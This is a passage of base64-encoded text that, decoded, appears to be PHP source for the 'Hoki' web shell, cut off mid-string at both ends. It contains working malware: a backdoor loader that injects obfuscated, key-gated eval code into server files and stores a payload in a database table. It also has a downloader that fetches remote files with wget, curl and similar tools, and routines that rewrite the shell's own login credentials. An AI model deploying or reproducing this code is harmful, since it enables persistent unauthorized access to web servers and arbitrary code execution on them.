KJ3RkMycgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQ0JyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCid0ZDUnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdCYWNrZG9vciBMb2FkZXI6ICcsICdpbnB1dE5hbWUnID0+ICdmaWxlJywgJ2lucHV0VmFsdWUnID0+ICRjd2QsICdpbnB1dFNpemUnID0+ICc1MCcsICdwbGFjZWhvbGRlcicgPT4gdHJ1ZSksCid0ZDYnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdLZXk6ICcsICdpbnB1dE5hbWUnID0+ICdrZXknLCAnaW5wdXRWYWx1ZScgPT4gJ2hva2knLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobygiPHA+eyRzZWxlY3R9PC9wPiIpOwplY2hvKCR0ZXh0YXJlYSk7CmVjaG8oIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydob2tpMiddIT0nJyYmJF9QT1NUWydob2tpMyddIT0nJyYmJF9QT1NUWydob2tpNSddIT0nJyYmJF9QT1NUWydob2tpNiddIT0nJyl7CiRkYmhvc3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYnVzZXIgPSAkX1BPU1RbJ2hva2kzJ107CiRkYnB3ID0gJF9QT1NUWydob2tpNCddOwokZGJuYW1lID0gJF9QT1NUWydob2tpNSddOwokZmlsZSA9ICRfUE9TVFsnaG9raTYnXTsKJG1ldGhvZCA9ICRfUE9TVFsnaG9raTcnXTsKJHNoZWxsID0gJF9QT1NUWydob2tpOCddOwoka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJyInLCdcJycpLCcnLHRyaW0oJF9QT1NUWydob2tpOSddKSk7CmlmKCRrZXk9PScnKSRrZXk9J2hva2knOwppZigkbWV0aG9kPT0nbXknKXskc2hlbGw9X19aVzVqYjJSbGNnKCRzaGVsbCk7fWVsc2V7JHNoZWxsPSRHTE9CQUxTWydfX0hPS0lfU0hFTExfQ09ERSddO30KaWYoJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicHcsJGRibmFtZSkpewokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiaG9raSJdKSYmJF9HRVRbImhva2kiXT09IicuJGtleS4nIil7JGNvbm49bXlzcWxpX2Nvbm5lY3QoIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRiaG9zdCkuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRidXNlcikuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRicHcpLiciLCInLnN0cl9yZXBsYWNlKCciJywnXCInLCRkYm5hbWUpLiciKTskcT1teXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCBgY29kZWAgRlJPTSBob2tpX2JjIExJTUlUIDAsMSIpOyRyPW15c3FsaV9mZXRjaF9hc3NvYygkcSk7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4nOwppZihAaXNfZmlsZSgkZmlsZSkmJkBpc193cml0YWJsZSgkZmlsZSkpewpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIGBob2tpX2JjYCcpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdDUkVBVEUgVEFCTEUgYGhva2lfYmNgIChjb2RlIExPTkdURVhUKScpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdJTlNFUlQgSU5UTyBgaG9raV9iY2AgVkFMVUVTKCInLiRzaGVsbC4nIiknKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7Cl9fYWxlcnQoJHN1Y2Nlc3MuIjxicj5SdW4gV2l0aDogIi5iYXNlbmFtZSgkZmlsZSkuIj9ob2tpPSIuJGtleS4nPC9mb250PicpO31lbHNle19fYWxlcnQoJGVycm9yKTt9fX19CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raXdob2lzKCl7CmVjaG8oIjxkaXYgY2xhc3M9J2hlYWRlcic+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG9pcyB8PC9kaXY+PC9wPjxwPjxmb3JtIG9uc3VibWl0PVwiZygnd2hvaXMnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7cmV0dXJuIGZhbHNlO1wiPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nZ29vZ2xlLmNvbSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC9wPjwvY2VudGVyPiIpOwppZigkX1BPU1RbJ2hva2kyJ109PSc+PicmJiFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKJHNpdGUgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cDovLycsJ2h0dHBzOi8vJywnd3d3LicsJ2Z0cDovLycpLCcnLCRfUE9TVFsnaG9raTEnXSk7CiR0YXJnZXQgPSAnaHR0cDovL2FwaS53aG9hcGkuY29tLz9hcGlrZXk9MDkzYjZjYjllNmVhNzI0ZTEwMTkyODY0N2RmM2UwMDkmcj13aG9pcyZkb21haW49Jy4kc2l0ZTsKJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRkYXRhPT0nJyl7JGdldCA9IG5ldyBIb2tpQ1VSTCgpOyRnZXQtPnNzbCA9IHRydWU7JGRhdGEgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpO30KJHRhcmdldCA9IEBqc29uX2RlY29kZSgkZGF0YSx0cnVlKTsKZWNobyBfX3ByZSgpOwppZihpc19hcnJheSgkdGFyZ2V0KSl7ZWNobygkdGFyZ2V0WyJ3aG9pc19yYXciXSk7fWVsc2V7ZWNobyBob2tpRXgoIndob2lzICIuJHNpdGUpO319CmVjaG8oIjwvZGl2PiIpOwp9CmZ1bmN0aW9uIGhva2lyZW1vdGVkbCgpewpob2tpaGVhZCgpOwplY2hvKCI8ZGl2IGNsYXNzPSdoZWFkZXInPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgVXBsb2FkIEZyb20gVXJsIHw8L2Rpdj48L3A+PHA+Cjxmb3JtIG9uc3VibWl0PVwiZygncmVtb3RlZGwnLG51bGwsdGhpcy5kLnZhbHVlLHRoaXMucC52YWx1ZSwnPj4nKTtyZXR1cm4gZmFsc2U7XCI+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIHNpemU9JzUwJz48L3A+CjxkaXYgY2xhc3M9J3R4dGZvbnQnPlBhdGg6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwJyBzaXplPSc1MCcgdmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+CjwvZm9ybT48L3A+PC9jZW50ZXI+Iik7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSwkX1BPU1RbJ2hva2kyJ10sJF9QT1NUWydob2tpMyddKSYmIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkmJiRfUE9TVFsnaG9raTMnXT09Jz4+Jyl7CmVjaG8gX19wcmUoKTsKJHVybCA9ICRfUE9TVFsnaG9raTEnXTsKJHBhdGggPSAkX1BPU1RbJ2hva2kyJ107CmVjaG8oJzxjZW50ZXI+Jyk7CmlmKF9fZG93bmxvYWQoJHVybCwkcGF0aCkpewplY2hvKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPC9mb250PicpOwp9ZWxzZXsKZWNobygnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IuLi4hPC9mb250PicpOwp9CmVjaG8oJzwvY2VudGVyPicpOwp9CmVjaG8oIjwvZGl2PiIpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19kb3dubG9hZCgkdXJsLCRwYXRoPWZhbHNlKXsKaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsKJHNhdmVhcyA9IGJhc2VuYW1lKHJhd3VybGRlY29kZSgkdXJsKSk7CmlmKCRwYXRoKXskc2F2ZWFzPSRwYXRoLiRzYXZlYXM7fQppZigkY29udGVudCA9IF9fcmVhZF9maWxlKCR1cmwpKXsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpQHVubGluaygkc2F2ZWFzKTsKaWYoX193cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7cmV0dXJuIHRydWU7fX0KJGJ1ZmYgPSBob2tpRXgoIndnZXQgIi4kdXJsLiIgLU8gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CiRidWZmID0gaG9raUV4KCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgibHlueCAtc291cmNlICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgiR0VUICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgibGlua3MgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKJGJ1ZmYgPSBob2tpRXgoImZldGNoIC1vICIuJHNhdmVhcy4iIC1wICIuJHVybCk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGNsZWFuX3N0cmluZygkc3RyaW5nKXsKICBpZihmdW5jdGlvbl9leGlzdHMoImljb252IikpewoJICAkcyA9IHRyaW0oJHN0cmluZyk7CgkgICRzID0gaWNvbnYoIlVURi04IiwgIlVURi04Ly9JR05PUkUiLCAkcyk7CiAgfQogIHJldHVybiAkczsKfQpmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXsKJGNvbnRlbnQgPSBmYWxzZTsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CiRjb250ZW50ID0gIiI7CndoaWxlKCFmZW9mKCRmaCkpewokY29udGVudCAuPSAkYm9vbSA/IGNsZWFuX3N0cmluZyhmcmVhZCgkZmgsIDgxOTIpKSA6IGZyZWFkKCRmaCwgODE5Mik7Cn0KQGZjbG9zZSgkZmgpOwp9CmlmKGVtcHR5KCRjb250ZW50KXx8ISRjb250ZW50KXsKCSRjb250ZW50ID0gaG9raUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKTsKfQpyZXR1cm4gJGNvbnRlbnQ7Cn0KZnVuY3Rpb24gaG9raU1hcmtldCgpewplY2hvICI8ZGl2IGNsYXNzPSdoZWFkZXInPiI7CiRjdXJsID0gbmV3IEhva2lDVVJMKCk7CiRjb250ZW50ID0gJGN1cmwtPlNlbmQoImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vbWFya2V0LnBocCIpOwokZGF0YSA9IEBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CmlmKCFlbXB0eSgkZGF0YSkpewppZigkZGF0YVsic3RhdHVzIl0gPT0gIm9wZW4iKXsKCWVjaG8gJGRhdGFbImNvbnRlbnQiXTsKfWVsc2V7CgllY2hvICRkYXRhWyJlcnJvcl9tc2ciXTsKfQp9ZWxzZXsKCWVjaG8gIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToyMHB4Oyc+Q2FudCBjb25uZWN0IHRvIHRoZSBob2tpIG1hcmtldC4uLi4hIHRyeSBsYXRlci48L2Rpdj4iOwp9CmVjaG8gIjwvZGl2PiI7Cn0KZnVuY3Rpb24gaG9raVNldHRpbmdzKCl7Cmhva2loZWFkKCk7Ckhva2lOdW0oNiw3LDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnbWFpblwnKSI+fCBHZW5lcmFsbCBTZXR0aW5nIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWyJob2tpOCJdID09ICJtYWluIil7CmVjaG8gJzxwPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkU2V0dGluZyh0aGlzKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+JzsKJGxnX2FycmF5ID0gYXJyYXkoJzAnPT4nTm8nLCcxJz0+J1llcycpOwokcGVuY19hcnJheSA9IGFycmF5KCdmYWxzZSc9PidObycsJ3RydWUnPT4nWWVzJyk7CiRwcm90ZWN0X2h0bWwgPSAiIjsKJGljb25faHRtbCA9ICIiOwokcG9zdEVuY19odG1sID0gIiI7CiRsb2dpbl9odG1sID0gIiI7CiRjZ2lhcGlfaHRtbCA9ICIiOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRwcm90ZWN0X2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddPT0nMSc/J3NlbGVjdGVkJzonJykuJz4nLiR2YWwuJzwvb3B0aW9uPic7CmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJGljb25faHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT09JzEnPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJGNnaWFwaV9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oIWVtcHR5KCRfUE9TVFsnaG9raTknXSkmJiRfUE9TVFsnaG9raTknXT09JGtleT8ic2VsZWN0ZWQiOigkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpIl0mJmVtcHR5KCRfUE9TVFsnaG9raTknXSk/J3NlbGVjdGVkJzonJykpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJHBvc3RFbmNfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCFlbXB0eSgkX1BPU1RbJ2hva2k3J10pJiYkX1BPU1RbJ2hva2k3J109PSRrZXk/InNlbGVjdGVkIjooX19IT0tJX1BPU1RfRU5DUllQVElPTl9fJiZlbXB0eSgkX1BPU1RbJ2hva2k3J10pPydzZWxlY3RlZCc6JycpKS4nPicuJHZhbC4nPC9vcHRpb24+JzsKJGxnX2FycmF5ID0gYXJyYXkoImd1aSI9PiJHVUkiLCI1MDAiPT4iNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIsIjQwMyI9PiI0MDMgRm9yYmlkZGVuIiwiNDA0Ij0+IjQwNCBOb3RGb3VuZCIpOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRsb2dpbl9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddPT0ka2V5PydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwplY2hvICcnOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qcm90ZWN0OjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icHJvdGVjdCIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRwcm90ZWN0X2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPkNnaSBBcGk6PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJjZ2lfYXBpIiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJGNnaWFwaV9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qb3N0IEVuY3J5cHRpb246PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJwb3N0X2VuY3J5cHQiIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kcG9zdEVuY19odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5TaG93IEljb25zOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0iaWNvbiIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRpY29uX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5sb2dpbiBQYWdlOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMCU7IiBuYW1lPSJsZ3BhZ2UiPicuJGxvZ2luX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlVzZXJOYW1lOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6OTUlOyIgbmFtZT0idXNlcm5hbWUiIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ2hva2kzJ10pPyRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXTokX1BPU1RbJ2hva2kzJ10pLiciIHBsYWNlaG9sZGVyPSJraXNlcnlvdW5pIj48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5QYXNzd29yZDo8L2Rpdj48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjk1JTsiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iKioqKioiPjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZSIgdmFsdWU9IicuJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2FmZW1vZGUnXS4nIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzIiB2YWx1ZT0iJy4kR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ10uJyI+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZigkX1BPU1RbJ2hva2k1J109PSc+PicpewplY2hvIF9fcHJlKCk7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKJHByb3RlY3QgPSAkX1BPU1RbJ2hva2kxJ107CiRsZ3BhZ2UgPSAkX1BPU1RbJ2hva2kyJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnaG9raTMnXTsKJHBhc3N3b3JkID0gbWQ1KCRfUE9TVFsnaG9raTQnXSk7CiRpY29uID0gJF9QT1NUWydob2tpNiddOwokcG9zdF9lbmNyeXB0ID0gJF9QT1NUWydob2tpNyddOwokY2dpX2FwaV92YWwgPSAkX1BPU1RbJ2hva2k5J107CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSk7CiRiYXNlbmFtZSA9IEBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7CiRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlbmFtZSk7CiR1c2VyX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJ1c2VyX3JhbmQiXTsKJHBhc3NfcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInBhc3NfcmFuZCJdOwokbG9naW5fcGFnZV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsibG9naW5fcGFnZV9yYW5kIl07CiRzYWZlbW9kZV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsic2FmZW1vZGVfcmFuZCJdOwokc2hvd19pY29uc19yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsic2hvd19pY29uc19yYW5kIl07CiRwb3N0X2VuY3J5cHRpb25fcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbl9yYW5kIl07CiRjZ2lfYXBpX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpX3JhbmQiXTsKJGZpbmRfdXNlciA9ICcvXCcnLiR1c2VyX3JhbmQuJ1wnKC4qPyksL2knOwokZmluZF9wdyA9ICcvXCcnLiRwYXNzX3JhbmQuJ1wnKC4qPyksL2knOwokZmluZF9sZyA9ICcvXCcnLiRsb2dpbl9wYWdlX3JhbmQuJ1wnKC4qPyksL2knOwokZmluZF9wID0gJy9cJycuJHNhZmVtb2RlX3JhbmQuJ1wnKC4qPyksL2knOwokaWNvbnMgPSAnL1wnJy4kc2hvd19pY29uc19yYW5kLidcJyguKj8pLC9pJzsKJHBvc3RFbmMgPSAnL1wnJy4kcG9zdF9lbmNyeXB0aW9uX3JhbmQuJ1wnKC4qPyksL2knOwokY2dpX2FwaV9yZWcgPSAnL1wnJy4kY2dpX2FwaV9yYW5kLidcJyguKj8pLC9pJzsKaWYoIWVtcHR5KCR1c2VybmFtZSkmJnByZWdfbWF0Y2goJGZpbmRfdXNlciwkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kdXNlcl9yYW5kLidcJyA9PiBcJycuJHVzZXJuYW1lLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k0J10pJiZwcmVnX21hdGNoKCRmaW5kX3B3LCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRwYXNzX3JhbmQuJ1wnID0+IFwnJy4kcGFzc3dvcmQuJ1wnLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYoIWVtcHR5KCRsZ3BhZ2UpJiZwcmVnX21hdGNoKCRmaW5kX2xnLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRsb2dpbl9wYWdlX3JhbmQuJ1wnID0+IFwnJy4kbGdwYWdlLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgkZmluZF9wKSYmcHJlZ19tYXRjaCgkZmluZF9wLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRzYWZlbW9kZV9yYW5kLidcJyA9PiBcJycuJHByb3RlY3QuJ1wnLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYocHJlZ19tYXRjaCgkaWNvbnMsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHNob3dfaWNvbnNfcmFuZC4nXCcgPT4gXCcnLiRpY29uLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJHBvc3RFbmMsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHBvc3RfZW5jcnlwdGlvbl9yYW5kLidcJyA9PiAnLiRwb3N0X2VuY3J5cHQuJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJGNnaV9hcGlfcmVnLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRjZ2lfYXBpX3JhbmQuJ1wnID0+ICcuJGNnaV9hcGlfdmFsLicsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihAZmlsZV9wdXRfY29udGVudHMoJGJhc2VuYW1lLCRkYXRhKSl7CmVjaG8gJzxiPlVzZXJOYW1lOiA8L2I+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj4nLiR1c2VybmFtZS4nPC9iPjwvZm9udD48YnIgLz48Yj5QYXNzd29yZDogPC9iPjxmb250IGNvbG9yPSJncmVlbiI+PGI+Jy4kX1BPU1RbJ2hva2k0J10uJzwvYj48L2ZvbnQ+PHNjcmlwdD5wb3N0X2VuY3J5cHRpb25fbW9kZSA9ICcuJHBvc3RfZW5jcnlwdC4nOzwvc2NyaXB0Pic7Cn1lbHNlewpfX2FsZXJ0KCI8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+RmlsZSBoYXMgbm8gZWRpdCBhY2Nlc3MuLi4hPC9zcGFuPiIpOwp9Cn1lbHNlewpfX2FsZXJ0KCI8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+VXNlck5hbWUgaXMgRW1wdHkgITwvc3Bhbj4iKTsKfQp9Cn1lbHNlaWYoJF9QT1NUWyJob2tpOCJdID09ICJjb2xvciIpewplY2hvKCc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEN1c3RvbSBDb2xvciB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJyZWxvYWRDb2xvcnMoKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+Jyk7CmVjaG8gJzx0YWJsZSBib3JkZXI9IjEiPjx0Ym9keT4nOwokdGVtcGxhdGUgPSAnPHRyPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48YSBocmVmPSJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmciIHRhcmdldD0iX2JsYW5rIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+SGVscDwvZm9udD48L2E+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGRpdiBjbGFzcz0idGJsdHh0Ij57aW5kZXh